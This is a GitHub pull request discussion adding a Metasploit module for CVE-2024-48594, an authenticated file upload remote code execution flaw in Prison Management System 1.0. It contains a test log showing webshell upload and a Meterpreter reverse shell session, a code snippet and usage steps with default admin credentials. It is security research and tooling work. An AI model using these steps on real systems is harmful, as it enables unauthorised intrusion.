-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Prison Management System 1.0 auth RCE (CVE-2024-48594) #20811
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Prison Management System 1.0 auth RCE (CVE-2024-48594) #20811
Conversation
|
How many active users does this project have? |
|
@jvoisin Hello, thanks for taking a look at this. It is very difficult to tell how many active users there are currently. The software was made publicly available on April 6, 2024. Since then the page had nearly 11000 views. Of those views, there is no way to tell how many people installed the software and are currently using it in a commercial fashion. If there are any other questions, please let me know. |
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
| 'method' => 'GET', | ||
| 'uri' => @webshell_path, | ||
| 'keep_cookies' => true | ||
| }, 5) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Does the timeout here need to set to 5 second?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If my understanding is correct, when the uploaded .php file is requested, the response is going to "hang", but the command execution will be triggered, so we do not need the default 20 second timeout for a response that hangs.
|
Hello @Xorriath, thanks for your contribution! Would you mind adding documentation for your module? |
Co-authored-by: msutovsky-r7 <[email protected]>
Co-authored-by: msutovsky-r7 <[email protected]>
Co-authored-by: msutovsky-r7 <[email protected]>
|
Hello, thank you for the code tweaks suggestions and for testing the module. I have updated the PR with a new documentation commit and committed the code suggestions. Happy to add/tweak anything else if required :) |
msutovsky-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(linux/http/prison_management_rce) > run verbose=true
[*] Started reverse TCP handler on 192.168.3.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Prison Management System login page detected
[*] Attempting to authenticate as admin...
[*] Retrieved session cookie: PHPSESSID=cpc6s59rps4jq8rrqk08830ioh;
[+] Successfully authenticated!
[*] Uploading webshell as JJwtOGph.php...
[+] Webshell uploaded to /uploadImage/Profile/JJwtOGph.php
[*] Triggering payload execution...
[*] Sending stage (41224 bytes) to 10.5.132.163
[+] Deleted JJwtOGph.php
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.163:48000) at 2026-01-07 13:24:43 +0100
meterpreter > sysinfo
Computer : virt-ubuntu
OS : Linux virt-ubuntu 6.8.0-1031-azure #36~22.04.1-Ubuntu SMP Tue Jul 1 03:54:01 UTC 2025 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
Co-authored-by: msutovsky-r7 <[email protected]>
Co-authored-by: msutovsky-r7 <[email protected]>
Release NotesThis adds a new module for Prison Management System 1.0 (CVE-2024-48594). The module requires admin credentials, which are subsequently used to exploit unrestricted file upload and upload a webshell. |
This module exploits CVE-2024-48594, an authenticated unrestricted file upload vulnerability in Prison Management System 1.0. An authenticated admin user can upload a PHP webshell via the avatar field in add-admin.php, leading to remote code execution.
Verification
msfconsoleexploit/linux/http/prison_management_rceset RHOSTS <target_ip>set RPORT <target_port>set SSL true(if HTTPS)set USERNAME adminset PASSWORD admin123set LHOST <your_ip>runExample execution
Notes